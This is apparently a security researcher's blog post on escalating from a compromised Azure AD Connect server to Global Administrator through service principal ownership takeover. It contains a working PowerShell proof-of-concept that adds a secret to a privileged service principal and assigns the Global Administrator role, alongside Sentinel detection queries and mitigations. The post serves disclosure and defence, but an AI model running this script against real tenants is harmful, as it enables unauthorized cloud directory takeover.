Contents

From on-prem to Global Admin without password reset

While working on another blog post I looked at different lateral movement paths an attacker can use, when she has compromised the Azure AD Connect server. Since this is the gateway to the cloud environment there already is quite some research available.

When reading the existent posts about this topic, the main lateral movement path mentioned is a password reset to take over a privileged account synced to the cloud. But with a restrictive Conditional Access policy in place that requires MFA or even FIDO2 for administrative users, this is not enough for an account takeover. So I looked further.

/en/prem-global-admin-password-reset/images/Thumbnail.png
From on-prem to Global Admin without password reset

Alternative to password reset

We assume that the attacker has full control over the Azure AD Connect server and was able to retrieve the “Azure AD Connector account” credentials. This user is member of the “Directory Synchronization Accounts” role.

This role grants extensive permissions to the user. Two of those directly caught my attention:

  • microsoft.directory/applications/owners/update
  • microsoft.directory/servicePrincipals/owners/update

Depending on the configuration of other applications in your environment, this results in a direct attack path to global admin.

Should you have any application in your environment with one of the following permissions, the attacker can abuse this application to get global admin permissions.

  • Application.ReadWrite.All
  • AppRoleAssignment.ReadWrite.All
  • RoleManagement.ReadWrite.Directory

And because of the level of access granted by those permissions there will be no MFA in the way of the attacker.

  1. The first step is to extract the credentials of the Azure AD Sync account
  2. Next sign into Microsoft Graph using those credentials and check if there is any vulnerable service principal in the environment
  3. Then the attacker uses the owners/update permission and assigns the AAD Sync user as owner
  4. Then she adds a new service principal password and uses this to sign-in to Microsoft Graph in the context of the high privilege application
  5. Now the attacker has complete control over Azure AD.

To gain persistence and bypass any conditional access policies that restrict this application to a trusted IP address range, she could now add some other user to the “Global Administrator” role. This user can be newly created or could be a dormant account or an account which has not yet registered MFA.

Of course the possibilities for persistence are endless, since the permissions granted are equivalent to that of an Global administrator.

/en/prem-global-admin-password-reset/images/AADConnectToGA.png
Different steps the attacker can take to reach global admin from a compromised AAD Connect server

Previous work

After I “discovered” this attack path, I searched again for previous work and I found two resources mentioning this in parts or even mentioned it explicitly.

The great post Managed Identity Attack Paths, Part 1: Automation Accounts by Andy Robbins (@_wald0) is THE reference work on API Permissions in Azure AD and mentions the permissions used, as well as the Directory Role, but stops shy of mentioning the On-Premises Directory Synchronization Service Account.

Info
Fun fact, Andy has registered the domain RoleManagement.ReadWrite.Directory.

The second reference I found is from my dear colleague Thomas Naunheim (@thomas_live) and Sami Lamppu (@samilamppu). It refers to the ownership takeover more explicitly in context of the Azure AD Connect account.

An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, they may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.

They also include a detections in their research.

And last but not least I almost forgot to mention the awesome work by Nestori Syynimaa (@DrAzureAD) that makes the extraction of the AAD Connect account credentials possible in the first place.

Proof of concept

With only two sources available at the time of writing, I felt encouraged to put my own spin on the topic and add a proof of concept. I used this PoC to test the built-in detections of Microsoft 365 Defender, as well as create additional detections based on the artifacts I found afterwards.

This proof of concept script will perform the earlier outlined actions in your environment. You will need AAD internals for the extraction of the Azure AD Connect account credentials.

Warning
Do not preform those actions in your production environment.

The script itself needs the tenant Id, a user Id to make global admin as well as the user principal name of the AAD Connect account and the extracted password.

It will automatically connect to Azure AD, search for an service principal with extended permissions and add a new secret to this service principal. After this it will connect again, using the new secret and use the service principal permissions to elevate a normal user to global admin.

There are no module requirements to run this script, but you must run it on the AAD Connect server to avoid sign in risk detections that might break the sign-in flow.

# Change the following information to match your tenant
$TenantId = "44693d1c-db61-4819-a9f9-e6a183ec0510"
$UserToMakeGlobalAdmin = "2f996471-1578-49f9-a1e9-34c43ecf5ded"
$AADUserUPN = "Sync_SERVERNAME_RANDOID@tenant.onmicrosoft.com"
$AADUserPassword = Get-Clipboard

#region Initial access using username and password of the Azure AD connect user
$body = @{
    client_id  = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
    scope      = "https://graph.microsoft.com/.default offline_access openid"
    username   = $AADUserUPN
    password   = $AADUserPassword
    grant_type = "password"
}

$connection = Invoke-RestMethod `
    -Uri https://login.microsoftonline.com/$($TenantId)/oauth2/v2.0/token `
    -Method POST `
    -Body $body

$AuthHeader = @{
    Authorization = "Bearer $($connection.access_token)"
}
#endregion

#region Auto detect RoleManagement.ReadWrite.Directory application
Write-Output "Auto detect RoleManagement.ReadWrite.Directory application"
$TenantApplications = Invoke-RestMethod -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/applications"
Write-Output "Get all service principals"
$ServicePrincipalIds = ForEach ($appId in ($TenantApplications.value.appId) ) {
    Invoke-RestMethod -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/?`$filter=(appid eq '$appId')" | Select-Object -ExpandProperty value | Select-Object -ExpandProperty id
}
Write-Output "Get all role assignments"
$appRoleAssignments = foreach ($SPId in $ServicePrincipalIds) {
    $SP = Invoke-RestMethod -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$SPId/appRoleAssignments"
    if ($SP.value) {
        $SP.value
    }
}

# Define APIs and attack path description
$DangerousAPIPermissions = @(
    "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory 
)
Write-Output "List all applications that have any of these permissions granted"
$vulnerableApps = $appRoleAssignments | Where-Object { $_.appRoleId -in $DangerousAPIPermissions }
if ($vulnerableApps.Count -gt 0) {
    Write-Output "Found $($vulnerableApps.Count) vulnerable service principal(s)"
    $ServicePrincipalToTakeover = $vulnerableApps | Select-Object -First 1 -ExpandProperty principalId
    $GoAhead = $true
} else {
    Write-Error "No vulnerable service principals detected."
    $GoAhead = $false
}
#endregion

if ($GoAhead) {
    Write-Output "Get basic information about the service principal and current user"
    $AppInformation = Invoke-RestMethod -Method Get -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$ServicePrincipalToTakeover"
    $AADUser = Invoke-RestMethod -Method Get -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/users/$AADUserUPN"

    Write-Output "Add current user as owner of application"
    $Reference = @{ "@odata.id" = "https://graph.microsoft.com/beta/directoryObjects/" + $AADUser.id } | ConvertTo-Json
    Invoke-RestMethod -Method Post -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$ServicePrincipalToTakeover/owners/`$ref" -Body $Reference -ContentType "application/json" | Out-Null

    Write-Output "Add new password based secret"
    $NewCredential = Invoke-RestMethod -Method Post -Headers $AuthHeader -Uri "https://graph.microsoft.com/beta/servicePrincipals/$ServicePrincipalToTakeover/addPassword" -Body $Reference -ContentType "application/json"
    Write-Output "Wait 10 seconds to allow new credentials to be propogated..."
    Start-Sleep 10

    Write-Output "Sign in using the newly created secret and app id: $($AppInformation.appId)"
    $body = @{
        Grant_Type    = "client_credentials"
        Scope         = "https://graph.microsoft.com/.default"
        Client_Id     = $AppInformation.appId
        Client_Secret = $NewCredential.secretText
    }
    $AppConnection = Invoke-RestMethod `
        -Uri https://login.microsoftonline.com/$($AppInformation.appOwnerOrganizationId)/oauth2/v2.0/token `
        -Method POST `
        -Body $body

    # Create a new auth header for the application based sign in
    $AppAuthHeader = @{
        Authorization = "Bearer $($AppConnection.access_token)"
    }

    Write-Output "Add new user to global admin"
    $Reference = @{ "@odata.id" = "https://graph.microsoft.com/beta/directoryObjects/" + $UserToMakeGlobalAdmin } | ConvertTo-Json
    $Result = Invoke-RestMethod -Method Post -Headers $AppAuthHeader -Uri "https://graph.microsoft.com/beta/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Body $Reference -ContentType "application/json"
    $Result
}
Info
This script has not implemented the AppRoleAssignment.ReadWrite.All escalation of privileges that I showcased in my script in the Azure Attack Paths blog post.

Detection

This attack is easy to detect, if you know where to look. It is very noisy in the Azure AD audit logs. But if you don’t monitor those actively the result is much harder to detect, because the credentials are not assigned to an app registration but the service principal itself.

App registration

The app registration is untouched and no credentials are present.

/en/prem-global-admin-password-reset/images/AppRegistrationSecrets.png
No visible change in the App Registration

Service principal credentials

There is no way, using the Azure AD portal, to see the added credentials when looking at the service principal (Enterprise App). Therefore any changes are only visible using the API or in the Audit logs. This makes it hard to detect for most admin.

The only visible change, will be the added service principal owner. But the attacker could remove the owner after adding the credentials to hide her tracks even further.

If you want to check if a service principal has any credentials you can query the Microsoft Graph endpoint servicePrincipals. Managed identities are also listed here and have credentials assigned.

https://graph.microsoft.com/beta/servicePrincipals?$select=id,displayName,servicePrincipalType,keyCredentials

/en/prem-global-admin-password-reset/images/ServicePrincipalCredentials.png
Service principal credentials are only viewable using Microsoft Graph

Sign-In logs

When you see that the AAD Connect Sync account is using any application other than “Microsoft Azure Active Directory Connect” you should be alarmed and disabled it as fast as possible.

/en/prem-global-admin-password-reset/images/SignInLogs.png
All applications beside Microsoft Azure Active Directory Connect are reason for concern

Audit logs

As most cloud actions, the changes done by the attacker will all be logged to the audit log of Azure AD.

  • Add owner to service principal
  • Add service principal credentials
  • Add member to role

/en/prem-global-admin-password-reset/images/AuditLogs.png
The Azure AD logs show the operations clearly

Defender for Endpoint

The attempt to extract the Azure AD Sync user credentials will trigger alert “AAD Connect private key extraction attempt” in MDE that should be treated with high priority.

/en/prem-global-admin-password-reset/images/M365DMultiStageAttack.png
AAD Connect private key extraction attempt should ring the alarm

Defender for Cloud Apps

MDA will detect the addition of new permissions by the user and will create an “Unusual addition of credentials to an OAuth app” alert.

As you can see MDA will detect each step of the attack path, after the AAD Sync Account credentials have been extracted and used.

  • Add owner to service principal.
  • Update service principal: application [APPNAME]; Parameters: Azure Service Principal - Object ID, Azure Service Principal - Application ID [APPID], tenant [TENANTID]
  • Add service principal credentials: to Azure Service Principal [SERVICEPRINCIPALNAME]

/en/prem-global-admin-password-reset/images/MDASuspiciousActions.png
Microsoft Defender for Cloud Apps will alert on those actions as well, because they are completely off from normal behavior.

Microsoft Sentinel

When you stream the Azure AD sign-in and audit events to Microsoft Sentinel you can easily build Analytics Rules that alert you as soon as any of the above actions occur in your environment.

You will find all mentioned Analytics Rules in my GitHub repository.

https://github.com/f-bader/AzSentinelQueries/tree/master/AnalyticsRules

High Privileged Role assigned

This query alerts any changes to high privileged roles in Azure AD. It’s something that does not occur every day and should be monitored.

let HighPrivRoles = dynamic(["Global Administrator","Company Administrator","Privileged Authentication Administrator","Privileged Role Administrator"]);
AuditLogs
| where OperationName == "Add member to role"
| mv-expand TargetResources
| mv-expand TargetResources.modifiedProperties
| where TargetResources_modifiedProperties.name == "Role.name"
| extend AddedToRole = replace_string(tostring(TargetResources_modifiedProperties.newValue),'"','')
| where AddedToRole in~ (HighPrivRoles)
| extend Actor = iff(isnotempty(InitiatedBy.user.userPrincipalName),InitiatedBy.user.userPrincipalName,InitiatedBy.app.servicePrincipalId)
| extend TargetUsername = TargetResources.userPrincipalName

Unusual sensitive action performed by Azure AD Connect account

Since the actions taken by the Azure AD Connect account are limited to a specific set of lifecycle tasks any sensitive tasks should be of concern. In this alert logic a specific set of sensitive actions is checked and alerted if those actions occur whenever a AAD AD Connect account executes those.

Since the naming of the AAD Connect account has a unique naming schema this is used to identify it.

let SensitiveActions = dynamic(["Update service principal","Add service principal credentials","Add owner to service principal","Add delegated permission grant"]);
AuditLogs
| extend InitiatedByUPN = parse_json(tostring(InitiatedBy.user)).userPrincipalName
| where InitiatedByUPN startswith "Sync_" and InitiatedByUPN endswith "onmicrosoft.com"
| where OperationName in~ (SensitiveActions)
| mv-expand TargetResources
| where TargetResources.type == "ServicePrincipal"
| extend TargetResourcesDisplayName = TargetResources.displayName
| extend TargetResourcesId = TargetResources.id
| extend InitiatedByIpAddress = parse_json(tostring(InitiatedBy.user)).ipAddress

Potential malicious sign-in from Azure AD Connect account

Since the Azure AD Connect account must only use a specific application (Microsoft Azure Active Directory Connect) and only access the resource “Windows Azure Active Directory” any deviation from the norm should be reason for concern.

union isfuzzy=true SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > ago(90d)
| where UserPrincipalName startswith "Sync_" and UserPrincipalName endswith "onmicrosoft.com"
// Only alert when AppId != Microsoft Azure Active Directory Connect and the ressource is not AAD 
| where AppId != "cb1056e2-e479-49de-ae31-7812af012ed8" and ResourceDisplayName != "Windows Azure Active Directory"

IdentityInfo based detections

If you don’t want to rely on the naming schema of the Azure AD connect account for your detections, the IdentityInfo table is also a valid approach.

One downside when doing this is the reduced interval to a minimum of 1 hour. This is needed because the lookback time must be 14 days, to include all information of this table.

IdentityInfo
| where TimeGenerated > ago(14d)
| where AssignedRoles contains "Directory Synchronization Accounts"
| distinct AccountUPN

Mitigation

Since the permissions granted to the Azure AD Sync account are as designed, which I confirmed with MSRC (VULN-094433), and you need an additional application with extensive API permissions mitigation is not easy. But you can take certain steps to limit the attack surface of the assets involved.

Limit the usage of sensitive API permissions

The following API permissions must not be given out lightly and be avoided whenever possible.

  • Application.ReadWrite.All
  • AppRoleAssignment.ReadWrite.All
  • RoleManagement.ReadWrite.Directory

Make sure you monitor any application with those permissions closely and have automated response actions in place, to mitigate any potential harm to you cloud environment.

Location based Conditional Access

You should have a conditional access policy in place for your Azure AD Connect account, that restricts any sign-ins to your on-premises outbound IP addresses. But since the attacker could just use the Azure AD Connect to execute her attacks, this is not enough.

Restrict application execution on AAD Connect server

Limit the execution of executables on the Azure AD Connect server to Microsoft signed binaries, to limit the attack surface for tooling.

Run MDE on AAD Connect

While this will not mitigate the attack in question, it will give you additional insights and warnings, if anything off happens on the machine.

Treat Azure AD Connect as a Control Plane (tier 0) asset

Nothing new for most of you and even Microsoft explicitly points it out in the documentation. https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-install-prerequisites?WT.mc_id=AZ-MVP-5004810#harden-your-azure-ad-connect-server) as a sensitive asset as part your control plane. This requires the following actions, but is not limited to them:

  • Use privilege access workstation to access the machine
  • Limit access to the machine to dedicated tier 0 accounts
  • Deny NTLM authentication on the machine completely

Authentication policies and authentication silos are also a good way to limit access to control plane assets.

Conclusion

This exercise once again showed me, that the complexity of cloud environments is really big. You have to understand multiple aspects of any new implementation, to make informed decisions on the security and operational risks you take when doing so.

Also it’s always good to try out different attack methods to better understand the alerts that your tooling is capable of and add new detections for the missing parts. Also try to combine already documented attack paths to find ways that may be not documented in depth yet.

I hope this was valuable information for you as well and I’m eager to hear your feedback over at Mastodon or on Twitter. Was this attack paths old news to you? Do you have any other public sources I should have included? Did my Analytics Rules help you secure your environment?